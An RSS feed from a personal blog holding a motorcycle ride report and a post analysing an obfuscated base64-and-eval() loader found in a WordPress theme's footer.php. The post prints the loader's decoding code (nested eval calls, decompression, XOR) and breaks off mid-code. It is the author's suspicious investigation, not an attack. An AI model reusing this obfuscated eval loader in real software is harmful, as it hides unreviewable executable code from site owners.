<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Kalimat al-Mutafalsif &#187; Annoyances</title>
	<atom:link href="http://thesnarky.com/category/annoyances/feed/" rel="self" type="application/rss+xml" />
	<link>http://thesnarky.com</link>
	<description>The Words of the One Who Calls Himself a Philosopher</description>
	<lastBuildDate>Mon, 24 May 2010 21:25:03 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Practice Pays Off</title>
		<link>http://thesnarky.com/2009/06/11/practice-pays-off/</link>
		<comments>http://thesnarky.com/2009/06/11/practice-pays-off/#comments</comments>
		<pubDate>Thu, 11 Jun 2009 21:13:33 +0000</pubDate>
		<dc:creator>Snarky</dc:creator>
				<category><![CDATA[Annoyances]]></category>
		<category><![CDATA[Motorcycles]]></category>
		<category><![CDATA[Qarina]]></category>
		<category><![CDATA[Ride Reports]]></category>

		<guid isPermaLink="false">http://thesnarky.com/?p=369</guid>
		<description><![CDATA[My last post was about getting out on a dirt bike to do stuff I felt completely uncomfortable doing, for the sake of practice. It turns out this is more important than I thought. Last night I went to a local shop that was having a seminar on tires and chains, and it was awesome. [...]]]></description>
			<content:encoded><![CDATA[<p>My <a href="http://thesnarky.com/2009/06/06/playing-in-the-dirt/">last post</a> was about getting out on a dirt bike to do stuff I felt completely uncomfortable doing, for the sake of practice. It turns out this is more important than I thought. </p>
<p>Last night I went to a local shop that was having a seminar on tires and chains, and it was awesome. Now, I knew as I was leaving that I'd be hitting rain, but it didn't look like it'd get terribly nasty, and, hey, I have the gear for it! When I left I packed everything up (zip-lock bags for everything I care about, rain pants on over my jeans and pads, plastic bags inside my boots) in case I hit rain before getting to the shop. Only bit that I carried with without wearing was my rain jacket as it was HOT out (in all black leather). I learned all this on my trip back from Indiana, and how important staying dry is for maintaining your concentration. The last 5 miles or so of my trip to the shop was a mad dash through the rain, rather than putting my jacket on, as I was close enough that I didn't want to stop. However, I got there almost on time, and mostly dry. </p>
<p>The seminar was great, I learned a ton, but some people kept asking questions, and I saw the sky outside get darker, and darker. Finally we got to the end (checking out the bikes of the few people that road) and I got mine in second. After thanking everyone for putting it on (free of charge!) I geared up to roll out.</p>
<p>To set the stage, it was about 9:15, pitch black, and thunder storming, but I assumed that I was good to go. I had all my gear (except for rubber kitchen gloves under my leathers, as I felt I'd be done soon enough) on and had 240 miles of rainy riding at Interstate speeds with rain gear, and forced myself to experience riding without rain gear for about 10-15 miles in pouring rain just in case. I was fairly confident that if I just stayed off the major highways I'd be fine. That little instinct probably saved me a world of hurt.</p>
<p>As I pulled out onto the first road I flipped my face shield down to block out the rain, and was a bit annoyed at how dirty it was. I tried to wipe it off, but it didn't help. With rain on there, and probably all the bug guts and dirt from my Indiana trip, any ambient light washed out my vision completely. Cars coming towards me rendered my vision useless. I started to experiment with opening the face shield slightly over the next mile, but I simply couldn't see any signs well enough to read them, or judge distances in the best of circumstances, and couldn't even see my speedometer in the worst. </p>
<p>50 miles from home, that late at night, there's not too many options. I could have stopped, tried to clean my helmet (with what?), tried to figure out how to cut down on glare from cars (it has a built in sun visor), or kept riding and opened the shield. I kept riding and opened the shield. </p>
<p>From my experience coming home from Rolling Thunder I knew what rain felt like on bare skin, and hard rain through leathers, but I'd yet to be smacked in the face by it at speed. Its not fun without goggles, as every time you turn your head to check a cross street, look down to check your speedometer, or look up to read a sign rain blasts into your eyes, and of course you can't close them, you're moving at speed. In addition, simply looking forwards your face is getting smacked by rain... and water at 50mph stings. </p>
<p>After a few miles on the outskirts of the town this shop was in, it started to really suck. The street lights started disappearing, the street moved down to one lane, and my glasses were well and truly soaking wet. My vision was maybe at 100 feet, and for pot holes and debris in the road it was literally when I hit it, I'd know. I basically picked a mini-van, and stayed behind it, following their lights into the darkness. Then we got into tree-lined on both sides, and there was no ambient light, I actually preferred this, as with no cars coming I could actually see! However, with cars coming I was again unable to see anything but the car's headlights. </p>
<p>Around here, sucky turned worse. My engine started sputtering when I'd idle. So the first stop light I pulled up to, I saw my RPMs start dropping, the engine coughed, and she shut off. Not this again. This happened in the rain storm after Rolling Thunder, and the only solution was to keep RPMs up around 5-7k (idle is around 2k). As I'd rev, great spouts of steam would come flying out the front of my bike like a pissed off dragon coming awake (it'd be colored red from the car tail lights in front of me). Naturally this means that to stop I couldn't clutch in, drop to first gear, and brake. I had to clutch in, set my throttle quickly to about 50% and brake (using on the front brake in the water) while holding the throttle in the same hand. <a href="http://www.crampbuster.com/">Cramp Buster</a> saved my life... maybe literally. Oh, and fun fact, if your glasses' lenses are at the temperature of air moving at 30mph, and soaking wet, what happens when you stop at a light? That's right, completely fogged up. One hand on the clutch, one on the throttle/brake... there's no way to take them off and nothing to clean them with if you could.</p>
<p>So the rest of the 30 miles to home is a blur of adrenaline influenced memories of lighting cracking overhead, thunder rolling by (only at stop lights, couldn't hear it as I was moving), pot holes barely avoided and not avoided, shoulders ridden on, medians missed by inches, and me screaming the Dropkick Murphies' version of Amazing Grace into the night. I had two guys try to take me out, one caught himself, the other I had time to avoid.... I'm sure he saw me, simply didn't care. Ate water from a semi cab hitting a pot hole next to me, and nearly caught a deer (it crossed in front of the car behind me).</p>
<p>Most terrifying ride of my life. </p>
<p>But... I'd experienced riding in the rain, so that didn't scare me. I'd experienced what rain feels like on bare skin, so while it stung it didn't phase me past the first 5 minutes. I'd ridding at night and in thunder storms, so those weren't the bits that bugged me. What scared me was not knowing what was more than a second in front of me for more than 90% of that ride, and knowing that if something did come up I had no escape options. Thanks to the practice I forced on myself earlier in my riding career (and someone looking out for me), this situation turned out alright. I made it home within an hour and a half, I didn't hit a single object, and I think my bike isn't very messed up. When I arrived home, I got off the bike, looked up into the sky, and pulled a Shawshank Redemption, amazed and thankful that I was home, and in one piece.</p>
<p>So the next time you think "Gee, I could do X, but its a little not good for it right now" ask yourself if you might ever be caught in the same situation without experiencing it. Then go out and experience it so you can have some control over the circumstances, I'm so thankful I did.</p>
]]></content:encoded>
			<wfw:commentRss>http://thesnarky.com/2009/06/11/practice-pays-off/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Evil Eval()</title>
		<link>http://thesnarky.com/2009/06/04/evil-eval/</link>
		<comments>http://thesnarky.com/2009/06/04/evil-eval/#comments</comments>
		<pubDate>Thu, 04 Jun 2009 22:14:12 +0000</pubDate>
		<dc:creator>Snarky</dc:creator>
				<category><![CDATA[Annoyances]]></category>
		<category><![CDATA[Cryptography]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Stupidity]]></category>

		<guid isPermaLink="false">http://thesnarky.com/?p=301</guid>
		<description><![CDATA[I just threw the new theme on my website and was poking around making tweaks this afternoon. I wanted slightly different colors, wanted to make the picture look cooler, maybe edit the footer to change the whole "Made by" to me, and give credit for being based on the theme I based it on. However, [...]]]></description>
			<content:encoded><![CDATA[<p>I just threw the <a href="http://thesnarky.com/2009/05/27/new-theme/">new theme</a> on my website and was poking around making tweaks this afternoon. I wanted slightly different colors, wanted to make the picture look cooler, maybe edit the footer to change the whole "Made by" to me, and give credit for being based on the theme I based it on. However, upon opening the footer.php, I found a very weird comment:</p>
<pre class="php">&nbsp;
<span style="color: #808080; font-style: italic;">/* V8 - WARNING: This file is protected by copyright law.
To reverse engineer or decode this file is strictly prohibited. */</span>
&nbsp;</pre>
<p>Well that's weird, because in the style.css we read:</p>
<pre lang='php'>
/*The CSS, XHTML and design is released under GPL*/
</pre>
<p>(Side note, if you don't know what we mean by GPL, check out <a href="http://www.gnu.org/copyleft/gpl.html">their site</a>.)</p>
<p>No, they don't say PHP in there, however I read that (because 'design' is included) as "This theme is GPL'd". Poking around their <a href="http://www.themespack.com/">website</a>, I see no mention that you're required to keep any part of the theme the same.</p>
<p>If we read past the warning about reverse engineering, we see why they included it, a nasty big base64 encoded blob, then an eval command. Pastebin paste is <a href="http://pastebin.com/f77bda50">here</a>.</p>
<p>This piqued my interest, as I can think of very few legitimate reasons to do such obfuscation, or why there should be so much (footer.php is 47kb!). My initial thought was that I'd opened a backdoor into my site, with lesser thoughts to them being able to push random stuff into my footer (the last way I was infected), and finally just trying to control the links on the bottom of the page so that even if I were to edit their theme (as is my right under the GPL) I couldn't take credit for it myself, they'd always have credit for it. None of those sat right with me, so I hit up the local IRC channel, and we started puzzling.</p>
<p><span id="more-301"></span></p>
<p>First I base64_decode'd the garbage that was being run from the eval command (and yes, its gonna overflow the line by a LOT):</p>
<pre class="php">&nbsp;
<span style="color: #0000ff;">$lll</span>=<span style="color: #cc66cc;">0</span>;eval<span style="color: #66cc66;">&#40;</span><a href="http://www.php.net/base64_decode"><span style="color: #000066;">base64_decode</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;JGxsbGxsbGxsbGxsPSdiYXNlNjRfZGVjb2RlJzs=&quot;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;<span style="color: #0000ff;">$ll</span>=<span style="color: #cc66cc;">0</span>;eval<span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$lllllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;JGxsbGxsbGxsbGw9J29yZCc7&quot;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;<span style="color: #0000ff;">$llll</span>=<span style="color: #cc66cc;">0</span>;<span style="color: #0000ff;">$lllll</span>=<span style="color: #cc66cc;">3</span>;eval<span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$lllllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;JGw9JGxsbGxsbGxsbGxsKCRvKTs=&quot;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;<span style="color: #0000ff;">$lllllll</span>=<span style="color: #cc66cc;">0</span>;<span style="color: #0000ff;">$llllll</span>=<span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>&lt;&lt;<span style="color: #cc66cc;">8</span><span style="color: #66cc66;">&#41;</span>+<span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">2</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>;eval<span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$lllllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;JGxsbGxsbGxsbGxsbGw9J3N0cmxlbic7&quot;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;<span style="color: #0000ff;">$lllllllll</span>=<span style="color: #cc66cc;">16</span>;<span style="color: #0000ff;">$llllllll</span>=<span style="color: #ff0000;">&quot;&quot;</span>;for<span style="color: #66cc66;">&#40;</span>;<span style="color: #0000ff;">$lllll</span>&lt;<span style="color: #0000ff;">$lllllllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#41;</span>;<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span><span style="color: #b1b100;">if</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$lllllllll</span>==<span style="color: #cc66cc;">0</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span><span style="color: #0000ff;">$llllll</span>=<span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span>++<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>&lt;&lt;<span style="color: #cc66cc;">8</span><span style="color: #66cc66;">&#41;</span>;<span style="color: #0000ff;">$llllll</span>+=<span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span>++<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>;<span style="color: #0000ff;">$lllllllll</span>=<span style="color: #cc66cc;">16</span>;<span style="color: #66cc66;">&#125;</span><span style="color: #b1b100;">if</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llllll</span>&amp;0x8000<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span><span style="color: #0000ff;">$lll</span>=<span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span>++<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>&lt;&lt;<span style="color: #cc66cc;">4</span><span style="color: #66cc66;">&#41;</span>;<span style="color: #0000ff;">$lll</span>+=<span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>&gt;&gt;<span style="color: #cc66cc;">4</span><span style="color: #66cc66;">&#41;</span>;if<span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$lll</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span><span style="color: #0000ff;">$ll</span>=<span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span>++<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>&amp;0x0f<span style="color: #66cc66;">&#41;</span><span style="color: #cc66cc;">+3</span>;for<span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llll</span>=<span style="color: #cc66cc;">0</span>;<span style="color: #0000ff;">$llll</span>&lt;<span style="color: #0000ff;">$ll</span>;<span style="color: #0000ff;">$llll</span>++<span style="color: #66cc66;">&#41;</span><span style="color: #0000ff;">$llllllll</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllllll</span>+<span style="color: #0000ff;">$llll</span><span style="color: #66cc66;">&#93;</span>=<span style="color: #0000ff;">$llllllll</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllllll</span>-<span style="color: #0000ff;">$lll</span>+<span style="color: #0000ff;">$llll</span><span style="color: #66cc66;">&#93;</span>;<span style="color: #0000ff;">$lllllll</span>+=<span style="color: #0000ff;">$ll</span>;<span style="color: #66cc66;">&#125;</span><span style="color: #b1b100;">else</span><span style="color: #66cc66;">&#123;</span><span style="color: #0000ff;">$ll</span>=<span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span>++<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>&lt;&lt;<span style="color: #cc66cc;">8</span><span style="color: #66cc66;">&#41;</span>;<span style="color: #0000ff;">$ll</span>+=<span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span>++<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span><span style="color: #cc66cc;">+16</span>;for<span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llll</span>=<span style="color: #cc66cc;">0</span>;<span style="color: #0000ff;">$llll</span>&lt;<span style="color: #0000ff;">$ll</span>;<span style="color: #0000ff;">$llllllll</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllllll</span>+<span style="color: #0000ff;">$llll</span>++<span style="color: #66cc66;">&#93;</span>=<span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;<span style="color: #0000ff;">$lllll</span>++;<span style="color: #0000ff;">$lllllll</span>+=<span style="color: #0000ff;">$ll</span>;<span style="color: #66cc66;">&#125;</span><span style="color: #66cc66;">&#125;</span>else<span style="color: #0000ff;">$llllllll</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllllll</span>++<span style="color: #66cc66;">&#93;</span>=<span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span>++<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>;<span style="color: #0000ff;">$llllll</span>&lt;&lt;=<span style="color: #cc66cc;">1</span>;<span style="color: #0000ff;">$lllllllll</span>--;<span style="color: #66cc66;">&#125;</span><a href="http://www.php.net/eval"><span style="color: #000066;">eval</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$lllllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;JGxsbGxsbGxsbGxsbD0nY2hyJzs=&quot;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;<span style="color: #0000ff;">$lllll</span>=<span style="color: #cc66cc;">0</span>;eval<span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$lllllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;JGxsbGxsbGxsbD0iPyIuJGxsbGxsbGxsbGxsbCg2Mik7&quot;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;<span style="color: #0000ff;">$llllllllll</span>=<span style="color: #ff0000;">&quot;&quot;</span>;for<span style="color: #66cc66;">&#40;</span>;<span style="color: #0000ff;">$lllll</span>&lt;<span style="color: #0000ff;">$lllllll</span>;<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span><span style="color: #0000ff;">$llllllllll</span>.=<span style="color: #0000ff;">$llllllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llllllll</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span>++<span style="color: #66cc66;">&#93;</span>^0x07<span style="color: #66cc66;">&#41;</span>;<span style="color: #66cc66;">&#125;</span><a href="http://www.php.net/eval"><span style="color: #000066;">eval</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$lllllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;JGxsbGxsbGxsbC49JGxsbGxsbGxsbGwuJGxsbGxsbGxsbGxsbCg2MCkuIj8iOw==&quot;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;eval<span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$lllllllll</span><span style="color: #66cc66;">&#41;</span>;
&nbsp;</pre>
<p>If you want to be able to READ that:</p>
<pre class="php">&nbsp;
<span style="color: #000000; font-weight: bold;">&lt;?php</span>
    <span style="color: #0000ff;">$lll</span>=<span style="color: #cc66cc;">0</span>;
    <a href="http://www.php.net/eval"><span style="color: #000066;">eval</span></a><span style="color: #66cc66;">&#40;</span><a href="http://www.php.net/base64_decode"><span style="color: #000066;">base64_decode</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;JGxsbGxsbGxsbGxsPSdiYXNlNjRfZGVjb2RlJzs=&quot;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
    <span style="color: #0000ff;">$ll</span>=<span style="color: #cc66cc;">0</span>;
    <a href="http://www.php.net/eval"><span style="color: #000066;">eval</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$lllllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;JGxsbGxsbGxsbGw9J29yZCc7&quot;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
    <span style="color: #0000ff;">$llll</span>=<span style="color: #cc66cc;">0</span>;
    <span style="color: #0000ff;">$lllll</span>=<span style="color: #cc66cc;">3</span>;
    <a href="http://www.php.net/eval"><span style="color: #000066;">eval</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$lllllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;JGw9JGxsbGxsbGxsbGxsKCRvKTs=&quot;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
    <span style="color: #0000ff;">$lllllll</span>=<span style="color: #cc66cc;">0</span>;
    <span style="color: #0000ff;">$llllll</span>=<span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>&lt;&lt;<span style="color: #cc66cc;">8</span><span style="color: #66cc66;">&#41;</span>+<span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">2</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>;
    <a href="http://www.php.net/eval"><span style="color: #000066;">eval</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$lllllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;JGxsbGxsbGxsbGxsbGw9J3N0cmxlbic7&quot;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
    <span style="color: #0000ff;">$lllllllll</span>=<span style="color: #cc66cc;">16</span>;
    <span style="color: #0000ff;">$llllllll</span>=<span style="color: #ff0000;">&quot;&quot;</span>;
    <span style="color: #b1b100;">for</span><span style="color: #66cc66;">&#40;</span>;<span style="color: #0000ff;">$lllll</span>&lt;<span style="color: #0000ff;">$lllllllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#41;</span>;<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
        <span style="color: #b1b100;">if</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$lllllllll</span>==<span style="color: #cc66cc;">0</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
            <span style="color: #0000ff;">$llllll</span>=<span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span>++<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>&lt;&lt;<span style="color: #cc66cc;">8</span><span style="color: #66cc66;">&#41;</span>;
            <span style="color: #0000ff;">$llllll</span>+=<span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span>++<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>;
            <span style="color: #0000ff;">$lllllllll</span>=<span style="color: #cc66cc;">16</span>;
        <span style="color: #66cc66;">&#125;</span><span style="color: #b1b100;">if</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llllll</span>&amp;0x8000<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
            <span style="color: #0000ff;">$lll</span>=<span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span>++<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>&lt;&lt;<span style="color: #cc66cc;">4</span><span style="color: #66cc66;">&#41;</span>;
            <span style="color: #0000ff;">$lll</span>+=<span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>&gt;&gt;<span style="color: #cc66cc;">4</span><span style="color: #66cc66;">&#41;</span>;
            <span style="color: #b1b100;">if</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$lll</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
                <span style="color: #0000ff;">$ll</span>=<span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span>++<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>&amp;0x0f<span style="color: #66cc66;">&#41;</span><span style="color: #cc66cc;">+3</span>;
                <span style="color: #b1b100;">for</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llll</span>=<span style="color: #cc66cc;">0</span>;<span style="color: #0000ff;">$llll</span>&lt;<span style="color: #0000ff;">$ll</span>;<span style="color: #0000ff;">$llll</span>++<span style="color: #66cc66;">&#41;</span>
                    <span style="color: #0000ff;">$llllllll</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllllll</span>+<span style="color: #0000ff;">$llll</span><span style="color: #66cc66;">&#93;</span>=<span style="color: #0000ff;">$llllllll</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllllll</span>-<span style="color: #0000ff;">$lll</span>+<span style="color: #0000ff;">$llll</span><span style="color: #66cc66;">&#93;</span>;
                <span style="color: #0000ff;">$lllllll</span>+=<span style="color: #0000ff;">$ll</span>;
            <span style="color: #66cc66;">&#125;</span><span style="color: #b1b100;">else</span><span style="color: #66cc66;">&#123;</span>
                <span style="color: #0000ff;">$ll</span>=<span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span>++<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>&lt;&lt;<span style="color: #cc66cc;">8</span><span style="color: #66cc66;">&#41;</span>;
                <span style="color: #0000ff;">$ll</span>+=<span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span>++<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span><span style="color: #cc66cc;">+16</span>;
                <span style="color: #b1b100;">for</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llll</span>=<span style="color: #cc66cc;">0</span>;
                    <span style="color: #0000ff;">$llll</span>&lt;<span style="color: #0000ff;">$ll</span>;
                    <span style="color: #0000ff;">$llllllll</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllllll</span>+<span style="color: #0000ff;">$llll</span>++<span style="color: #66cc66;">&#93;</span>=<span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
                <span style="color: #0000ff;">$lllll</span>++;
                <span style="color: #0000ff;">$lllllll</span>+=<span style="color: #0000ff;">$ll</span>;
            <span style="color: #66cc66;">&#125;</span>
        <span style="color: #66cc66;">&#125;</span> <span style="color: #b1b100;">else</span>
            <span style="color: #0000ff;">$llllllll</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllllll</span>++<span style="color: #66cc66;">&#93;</span>=<span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span>++<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>;
        <span style="color: #0000ff;">$llllll</span>&lt;&lt;=<span style="color: #cc66cc;">1</span>;
        <span style="color: #0000ff;">$lllllllll</span>--;
    <span style="color: #66cc66;">&#125;</span>
    <a href="http://www.php.net/eval"><span style="color: #000066;">eval</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$lllllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;JGxsbGxsbGxsbGxsbD0nY2hyJzs=&quot;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
